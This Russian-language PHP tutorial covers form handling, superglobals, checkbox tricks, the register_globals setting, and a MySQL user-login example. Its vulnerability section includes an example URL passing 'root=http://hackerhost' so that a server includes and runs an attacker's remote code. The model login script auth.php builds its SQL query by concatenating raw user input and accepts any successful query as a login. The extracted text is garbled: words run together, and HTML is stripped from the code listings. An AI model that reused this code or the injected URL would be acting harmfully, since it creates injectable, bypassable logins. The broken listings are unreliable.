В сценарии к отдельнымэлементам формы можно обратиться при помощи указания ключа массива: например, $_REQUEST[‘Data’] [‘city’] обозначает значение той радиокнопки, которая была выбранапользователем, а $_REQUEST [‘Data’] [‘name’] — введенное имя.
Предупреждение. Всценарии обязательно нужно заключать ключи в кавычки или апострофы. В противномслучае интерпретатором будет выведено предупреждение. В то же время, впараметрах name полей формы, наоборот, нужно их избегать — так устроен РНР.
Напишем сценарий.
Листинг hello4.php.Сценарий для обработки массива
echo “г>Списокmonth4 ” ;
foreach ($_REQUEST[’Data’]as $key=>$value)
echo “$key= $value ”;
?>
/>
/>/>2.7. Особенностиобработки независимых переключателей
Рассмотрим вопрос,который находит частое практическое применение в Web-программировании.Независимый переключатель (checkbox или более коротко — флажок) имеетодну довольно неприятную особенность, которая иногда может помешатьWeb-программисту. Если перед отправкой формы пользователь установил независимыйпереключатель в выбранное состояние, то сценарию в числе других параметровприходит пара имя_флажка=значение. В то же время, если флажок не былустановлен пользователем, указанная пара не посылается.
Для упрощения обработки,хотелось бы, чтобы в невыбранном состоянии флажок также присылал данные, нотолько значение было равно какой-нибудь специальной величине — например, нулюили пустой строке.
Добиться этого эффекта в РНРдовольно несложно. Достаточно воспользоваться одноименным скрытым полем (hidden)со значением, равным, например, нулю, поместив его перед нужным флажком.
Листинг checkbox.php.Особенности обработки независимых переключателей
if(@$_REQUEST[’doGo’] )
{
foreach(@$_REQUEST [’known’] as $k=>$v)
{
if($v) echo «Вы знаетеязык $k!»;
else echo «Вы незнаете языка $k. »;
}
}
?>
” method=post>
Какие языкипрограммирования вы знаете?br>
PHP
Perl
Инструкция foreachпредназначена для перебора всех элементов массива, указанного в ее первомаргументе.
Теперь в случае, еслипользователь не выберет никакой из флажков, браузер отправит сценарию пару known[язык] = 0, сгенерированную соответствующим скрытым полем, и в массиве $_request[‘ known’] создастся соответствующий элемент:
/>
Если пользователь выберетфлажок, эта пара также будет послана, но сразу же после нее последует пара known[язык] =1, которая «перекроет» предыдущее значение:
/>
Если бы не были включеныскрытые поля в форму, сценарий печатал бы только сообщения о тех языках,которые «знает пользователь», пропуская языки, ему «неизвестные». В рассмотренномслучае сценарий реагирует и на сброшенные флажки.
Такой способ немногоувеличивает объем данных, передаваемых методом post, за счет тех самыхпар, которые генерируются скрытыми полями. Впрочем, в реальной жизни это «увеличение»практически незаметно (особенно для POST-форм).
/>/>2.8. Диагностикасоздаваемых массивов
Напомним, какие массивысоздает РНР, когда обрабатывает данные, пришедшие из формы:
● $_GET— содержит GET-параметры, пришедшиескрипту через переменную окружения QUERY_STRING. Например, $_GET [‘ login’];
● $_post — данные формы, пришедшие методом post;
● $_cookie — все cookies, которыеприслал браузер;
● $_REQUEST — объединение трех перечисленных выше массивов.
Именно переменную $_REQUEST рекомендуется использовать вскриптах, потому что таким образом мы не «привязываемся» жестко к типупринимаемых данных (get или post);
● $_server — содержит переменные окружения,переданные сервером (отсюда и название).
Может показаться, что этомного. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающийпри отладке сценариев: можно вывести все переменные в браузер.
Листинг dump.php.Вывод всех переменных в браузер
pre>
GLOBALS)?>
pre>
Задача данного сценария —распечатать в браузер все глобальные переменные программы (включая описанныевыше массивы) в читабельном представлении. Глобальные переменные доступны черезиспользуемый массив $GLOBALS. Встроенная функция print_r() делает все остальное.
Страница, генерируемаяданным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней,передавая программе различные GET-данные (включая многомерные массивы) иподставляя ее в атрибут action различных HTML-форм.
/>/>3. КАКОЙРЕЖИМВЫБРАТЬ: register_globals=off& on ?
В рассмотренных примерахкаждый раз при обращении к переменным, полученным из полей формы, писали:
$_REQUEST[‘ … ‘]
Это делать необходимоиз-за того, что все данные из полей формы PHP помещает в глобальный массив $_REQUEST.
В ранних версиях РНР(вплоть до РНР 4.1) существовал способ, позволяющий работать с полямиформы значительно проще. По умолчанию РНР не помещал данные в $_REQUEST, а создавал обыкновенные глобальныепеременные для каждого из полей формы. Например, можно было написать такойсценарий:
php
echo”Hello, $name!”;
?>
Запустив его с нужнымпараметром, например: localhost/hello.php?name=Виктор Сергеевич, можноувидеть корректную страницу приветствия: РНР создал глобальнуюпеременную $name, значение которой и напечатано:
/>
Такой режим работыназывается register_globals и поддерживается в РНР по сей день.При этом в файле php.ini этот параметр находится во включенномсостоянии:
/>
Однако, начиная с PHP4.2.0, register_globals по умолчанию выключен в файле php.ini:
/>
Разработчики РНРпоступили так по соображениям безопасности: часто скрипты, написанные в расчетена включенный register_globals,обнаруживали проблемы с защитой.
Внимание
Начиная с PHP 4.2.0, значение директивы register_globals по умолчанию установлено в off (отключено, раньше было on — включено). Положение register_globals в off делает предопределенные переменные доступными в глобальной области видимости.
Например, чтобы получить:
● $DOCUMENT_ROOT, вам необходимо будет использовать $_SERVER[‘DOCUMENT_ROOT’] вместо $DOCUMENT_ROOT;
● $_GET[‘id’] из URL www.example.com/test.php?id=3
вместо $id;
● $_ENV[‘HOME’] вместо $HOME.
Использование доступных зарезервированных предопределенных переменных PHP, таких как суперглобальные массивы, является предпочтительным.
Предупреждение!
В PHP 4.2.0 и позднее, набор по умолчанию предопределённых переменных, доступных в глобальной области видимости, изменён. Отдельные переменные ввода и сервера по умолчанию больше не размещаются непосредственно в глобальной области видимости; они размещаются в суперглобальных массивах.
Вы можете форсировать старое поведение, установив register_globals в ‘On’ в вашем файле php.ini.
Суперглобальные переменные PHP
$GLOBALS
Содержит ссылку на каждую переменную, доступную в данный момент в глобальной области видимости скрипта. Ключами этого массива являются имена глобальных переменных. $GLOBALS существует, начиная с PHP 3.
$_SERVER
Переменные, установленные web-сервером либо напрямую связанные с окружением выполнения текущего скрипта. Аналог старого массива $HTTP_SERVER_VARS (который по-прежнему доступен, но не рекомендуется).
$_GET
Переменные, передаваемые скрипту через HTTP GET. Аналог старого массива $HTTP_GET_VARS (который по-прежнему доступен, но не рекомендуется).
$_POST
Переменные, передаваемые скрипту через HTTP POST. Аналог старого массива $HTTP_POST_VARS (который по-прежнему доступен, но не рекомендуется).
$_COOKIE
Переменные, передаваемые скрипту через HTTP cookies. Аналог старого массива $HTTP_COOKIE_VARS (который по-прежнему доступен, но не рекомендуется).
$_FILES
Переменные, передаваемые скрипту через HTTP post-загрузку файлов. Аналог старого массива $HTTP_POST_FILES (который по-прежнему доступен, но не рекомендуется). Для дополнительной информации смотрите Загрузка методом POST.
$_ENV
Переменные, передаваемые скрипту через окружение. Аналог старого массива $HTTP_ENV_VARS (который по-прежнему доступен, но не рекомендуется).
$_REQUEST
Переменные, передаваемые скрипту через механизмы ввода GET, POST и COOKIE, и которым, следовательно, нельзя доверять. Наличие и порядок включения переменных в этот массив определяется в соответствии с директивой конфигурации PHP variables_order. Этот массив не имеет прямых аналогов в версиях PHP до 4.1.0 /> /> />
Рекомендуется писатьскрипты с расчетом на выключенный register_globals.
Сценарий, корректноработающий при выключенном register_globals, будет работать и при включенномрежиме. Но не наоборот.
Для повышениябезопасности работы нужно сконфигурировать PHP с опцией register_globals= off. Отключив возможность внедрения отправленных пользователем переменныхв PHP-код, можно уменьшить количество заражённых переменных, которыепотенциальный взломщик может попытаться направить вам. Для подделкиотправляемой информации понадобится дополнительное время, а ваши внутренниепеременные будут эффективно изолированы от отправляемых пользователем данных.
Хотя понадобятсянекоторые дополнительные усилия при работе с PHP, но преимущества отэтой работы с лихвой окупят эти затраты.
/>/>/>/>3.1. Первый пример уязвимости
Для иллюстрации, какможно получить уязвимый сценарий, рассмотрим пример:
//*** здесьустанавливается переменная $root
//*** …
// запускаем другойскрипт, который ищем в каталоге $root
include$root.»/library.php»;
?>
Если в коде, помеченномвыше звездочками, переменная $root по ошибке окажется не установленной(это может случиться по разным причинам), злоумышленник сможет запустить насервере любой код, открыв следующий адрес в браузере:
example.com/scnpt.pbp?root=http://hackerhost
Здесь example.com —это машина, на которой располагается скрипт, a hackerhost — компьютер злоумышленника, на котором такжеустановлен Web-сервер.
Рассмотрим подробнее, чтоже происходит. В скрипте значение переменной $root подставляется встроку и выполняется команда:
include “http://hackerhost/library.php”;
В большинстве случаев этозаставляет РНР загрузить файл library.php с удаленной машины ипередать ему управление. Иными словами, записав в файл library.php насвоей машине любой код, хакер может запустить его на сервере example.com.
/>/>
3.2. Второйпример уязвимости
Предыдущий пример можетпоказаться надуманным. Таким он и является: данная проблема может обнаружитьсялишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга.Там бывает весьма непросто уследить за глобальными переменными. Например, визвестном форуме phpBB уязвимость описанного типа обнаруживалась иисправлялась несколько раз.
Более простой примерсвязан с массивами. Многие люди пишут в своих программах:
$artefacts[’rabbit’]= “white”;
$artefacts[’cat’]= “black”;
Они не задумываются надтем, что перед этим надо бы очистить массив $artefacts: считают, что они так пуст в начале программы. Корректный же код должен выглядеть так:
$artefacts= array();
$artefacts[’rabbit’]= “white”;
$artefacts[’cat’]= “black”;
К чему ведет пропуск $artefacts= array(); в начале скрипта? К тому, что,передав специально подобранную командную строку, хакер может добавить в массив $artefactsпроизвольные данные. Например, он запустит сценарий так:
example.com/script.php?artefacts[reboot]=yes
При этом в программе спропущенным обнулением массива $artefacts в него будут помещены не два,а три элемента (включая reboot=>yes). Скрипт никак на это нерассчитывает, что, в свою очередь, порождает потенциальные проблемы сбезопасностью.
Если глобальныепеременные не создаются, то описанные уязвимости исчезают. Во всяком случае,так решили разработчики РНР.
Всегда необходимо проверятькод, чтобы гарантировать, что любые переменные, отправляемые из web-браузера,соответствующим образом будут проверены. Задавайте себе следующие вопросы:
● Будет ли данныйскрипт воздействовать только на предполагаемые файлы?
● Могут ли бытьобработаны необычные или нежелательные данные?
● Может ли данныйскрипт быть использован несоответствующим образом?
● Может ли он бытьиспользован в сочетании с другими скриптами негативным образом?
● Будет ли выполненадекватный логинг для каждой транзакции?
Задав себе эти вопросыпри написании скрипта, а не потом, вы предотвратите возможную переделку дляповышения защищённости. Вы не гарантируете полную безопасность вашей системы,но можете значительно повысить её.
Возможно, вы захотитетакже предусмотреть отключение register_globals, magic_quotes илидругих установок, которые могут создать у вас неуверенность в проверке,источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL)также может помочь, предупреждая вас о переменных, используемых до проверки илиинициализации (что предотвратит операции с необычными данными).
/>/>3.3. Порядоктрансляции переменных
Теперь рассмотрим, вкаком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные,если включен режим register_giobals. Этот порядок, вообще говоря, важен.
Например, пусть у насесть параметр A=10, поступивший из query_string,параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string),и cookie A=30. По умолчанию трансляция выполняетсяв порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрываетпредыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST[ ‘A’ ] будет записано 30, поскольку cookieперекрывает post и get.
В режиме register_giobals в глобальные переменные попадают также значенияпеременных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE(EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, излоумышленник может «подделать» любую из них, передав соответствующуюпеременную query_string при запуске сценария.
Поэтому, если не хотитепроблем, даже в режиме register_globals обращайтесь к переменным окружения только через:
$_SERVER[‘переменная’]или getenv(‘переменная’)
/>/>
4. ПРИЛОЖЕНИЯ,ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL
Хранение информации оданных регистрации осуществляется в базе данных MySQL. Пример включает всебя три скрипта. В первом, auth.php, происходит регистрацияпользователей. Второй скрипт, members_only.php, предоставляет информацию, доступнуютолько для зарегистрированных пользователей. И, наконец, в третьем скрипте, destroy.php,реализован выход из системы.
Для работы необходимосоздать базу данных auth. Это можно сделать, выполнив SQL-запрос,текст которого приведен в листинге
Листинг auth.txt.Создание базы данных
createdatabase auth;
use auth;
createtable auth
(
namevarchar(10) not null,
passvarchar(30) not null,
primary key(name)
);
Чтобы создать в системебазу данных, нужно войти в систему MySQL и ввести в командной строке MySQL:
mysql> createdatabaseauth;
После этого следуетнабрать:
mysql>useauth;
/>
База данных создана:
/>
Следующий этап настройкибазы данных — создание таблиц. Это делается при помощи SQL-команды CREATETABLE:
createtable auth
(
namevarchar(10) not null,
passvarchar(30) not null,
primary key(name)
);
/>
Таблицы базы данныхсозданы:
/>
Можно просмотретьперечень таблиц созданной базы данных c помощью оператора SHOW:
/>
Можно отобразитьинформацию о столбцах всех таблиц c помощью оператора DESCRIBE:
/>
Для просмотра данных,сохраненных в каждой таблице, можно применить оператор SELEKT:
/>
Листинг auth.php. Кодскрипта для регистрации пользователя
$dblocation= “127.0.0.1”;
$dbname =“local”;
$dbuser =“root”;
$dbpasswd =“”;
session_start();
if(isset($HTTP_POST_VARS[’userid’])&&
isset($HTTP_POST_VARS[’password’]))
{
$userid =$HTTP_POST_VARS[’userid’];
$password =$HTTP_POST_VARS[’password’];
$db_connect=mysql_connect($dblocation,$dbuser, $dbpasswd);
mysql_select_db(‘auth’,$db_connect);
$query =“select * from auth where name=’”.$userid.”’
and pass =password(‘$password’);”;
$result =mysql_query($query,$db_connect);
if($result)
{
$HTTP_SESSION_VARS[’valid_user’]= $userid;
}
}
?>
Страницарегистрации
if(isset($HTTP_SESSION_VARS[’valid_user’]))
{
echo ‘Вызарегистрированыкак‘.$HTTP_SESSION_VARSI[’valid_user’].
‘’;
echo ‘Bыход’;
}
else
{
if(isset($userid))
{
echo(“Регистрацияневозможна”);
}
?>
Имя:
Пароль:
Зарегистрировать‘>
}
?>
href=»members_only.рhр»> Только длязарегистрированных пользователей
В результате выполненияэтого скрипта, если пользователь еще не зарегистрирован, для него отображаетсявходная страница регистрации:
/>
После того как посетительвведет свои данные и зарегистрируется, ему будет выдано сообщение об успешнойрегистрации:
/>
Если регистрация, покаким – либо причинам не удалась, можно вернуться назад на страницурегистрации:
/>
Если регистрация удалась,то посетитель может попасть на страницу для зарегистрированных пользователей,код которой реализован в скрипте members_only.php.
Листинг members_only.php. Код скрипта для страницызарегистрированных пользователей
session_start();
if(isset($HTTP_SESSION_VARS[’valid_user’]))
{
echo ‘Здравствуйте,’.$HTTP_SESSION_VARS[’valid_user’].’;
echo(«Информация наэтой странице доступна только для зарегистрированных пользователей br>»);
}
else
{
echo(«Вы незарегистрированы »);
}
echo ‘Haзад на страницу регистрации ‘;
?>
При переходе посетителяпо ссылке «Выход», реализуется скрипт destroy.php, по которомуосуществляется разрегистрация сеансовых переменных и завершение сеанса.
Листинг destroy.php.Код скрипта для завершения сеанса и разрегистрации сеансовых переменных
session_start();
$old_user =$HTTP_SESSION_VARS[’valid_user’];
unset($HTTP_SESSION_VARS[’valid_user’]);
session_destroy();
?>
Выход
Haзад на страницу регистрации;
/>
/>/>5. ЗАДАНИЕНА САМОСТОЯТЕЛЬНУЮ РАЗРАБОТКУ
Создать HTML-документс формой, использующей все типы описанных полей. А затем написать сценарий,который будет обрабатывать переданные параметры, и хранить информацию о данныхрегистрации пользователя в базе данных MySQL.
В окне браузера формадолжна выглядеть примерно так:
/>
Когда пользователь нажметкнопку Передать, браузер передаст сценарию следующие параметры:
● txt —значение текстового поля;
● pswd —значения поля ввода пароля;
● hid —значение скрытого поля;
● параметры varlи var2 будут переданы только, если соответствующие им переключателиактивны (может быть передано одно из значений, оба значения или же ни одно иззначений);
● sex —значение группы зависимых переключателей (будет передано одно из значений — maleили female);
● t_area —содержимое текстовой области;
● month —значение списка без возможности множественного выбора;
● month [] —значение списка с возможностью множественного выбора.
Теперь нужно разобраться,как обработать все эти параметры.
● Параметры txt,pswd, hid иt_area обрабатываются легко. Интерпретатор создает длякаждого параметра переменную с соответствующим именем.
● С параметрами varlи var2 дело обстоит несколько сложнее. Если переключатель не активен, топараметры вообще не будут переданы на сервер, как будто бы вообще их и не было.Следовательно, не будет создана глобальная переменная и при попытке обращения ктакой переменной, мы получим сообщение о том, что переменная не существует.Поэтому просто написать echo $varl; мы не можем: нужно предварительнопроверить, существует ли переменная.
Только после проверкисуществования можно начинать работу с переменной.
● Параметр sex,то есть зависимый переключатель, обрабатывается легко — браузер передает толькоодно из значений. Другими словами, параметр sex будет равен или male,или female.
● Точно такжеобрабатывается параметр $month — это обыкновенный список без возможностимножественного выбора, поэтому по сути его можно представить, как набор иззависимых переключателей.
● Сложнее всегообработать список с множественным выбором. Ведь в этом случае параметрыпередаются так:
name=valuel&name=value2&name=value3…
При стандартном подходепеременная $name будет содержать только последнее значение (valueN).Однако разработчики РНР позаботились об этом: множественный список можнопредставить в виде массива, а обработать его элементы можно с помощью цикла foreach.Нам даже не нужно знать количество переданных элементов списка. Предварительнолишь нужно сообщить РНР, что мы будем передавать массив:
Квадратные скобки — этопризнак массива.
/>/>ЗАКЛЮЧЕНИЕ
На примерах рассмотрено,как РНР обрабатывает данные, пришедшие из формы, из командной строки илииз cookies. Мы также узнали различные способы записи полей формы длятого, чтобы формировать в программе переменные и массивы требуемой структуры(например, массивы для элемента «список с множественным выбором»). Описан режимregister_giobals, популярныйв ранних версиях РНР, а ныне отключенный из соображений безопасности, атакже его достоинства и недостатки.
/>/>/>
ЛИТЕРАТУРА
1. Скляр Д., Трахтенберг А. PHP. Сборник рецептов. – Пер. сангл. – СПб: Символ – Плюс, 2005. – 627 с., ил.
2. Котеров Д., Костарев А. PHP5 в подлиннике. – СПб: Символ –Плюс, 2005. – 1120 с., ил.
3. Дюбуа П. MySQL. Сборник рецептов. – Пер. с англ. — СПб:Символ – Плюс, 2004. – 1056 с., ил.
4. Томсон Лаура, Веллинг Люк. Разработка web – приложений на PHP и MySQL. – Пер. с англ. – СПб: ООО «ДиаСофтЮП», 2003. 672 с.,ил.